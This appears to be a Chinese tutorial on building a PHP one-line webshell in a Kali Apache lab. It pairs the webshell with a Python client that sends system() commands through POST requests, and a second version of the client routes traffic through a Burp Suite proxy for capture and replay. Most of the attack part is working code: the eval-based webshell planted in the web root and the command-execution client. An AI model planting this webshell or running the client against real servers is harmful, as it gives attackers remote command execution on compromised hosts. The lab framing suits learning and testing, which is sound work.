Kali 中已經有 Apache 了,在 /etc 目錄下 ls 即可顯示出來,所以只需要進行配置就可以了。(這裡用其他 Linux 或 Windows 虛擬機都行)
打開 apache 服務的相關命令
/etc/init.d/apache2 start (開啟)
/etc/init.d/apache2 restart (重啟)
/etc/init.d/apache2 status (查看狀態)
這裡在 Kali 的浏覽器中輸入 Kali 的 IP,可以發現已經啟動apache。
在Kali的web根目錄寫一個一句話木馬,這裡就用PHP的一句話木馬。
<?php @eval($_POST['shell']);?>
shell 變量用於接收 python 代碼傳過來的字符串。
eval() 函數將接收的字符串當作命令執行。
import requests
url = str(input('目標URL:'))
passwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
cmd = str(input('執行命令:'))
# 將命令傳給一句話木馬
payload = {
passwd: "system(\'" + cmd + "\');"
}
# 向目標url發送post請求
response = requests.post(url=url, data=payload, timeout=3)
# 回顯命令執行的結果
print(response.text)
import requests
url = str(input('目標URL:'))
passwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
cmd = str(input('執行命令:'))
# 將命令傳給一句話木馬
payload = {
passwd: "system(\'" + cmd + "\');"
}
# 使用burpsuite對python的post請求抓包
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
# 向目標url發送post請求
response = requests.post(url=url, data=payload, proxies=proxy, timeout=3)
# 回顯命令執行的結果
print(response.text)
開啟 burpsuite 抓包,運行 python 代碼。
重放該 post 請求。
使用 burpsuite 自帶的工具解碼
解碼之後,結果如下。
將 ls 命令改為 ifconfig 命令,結果如下。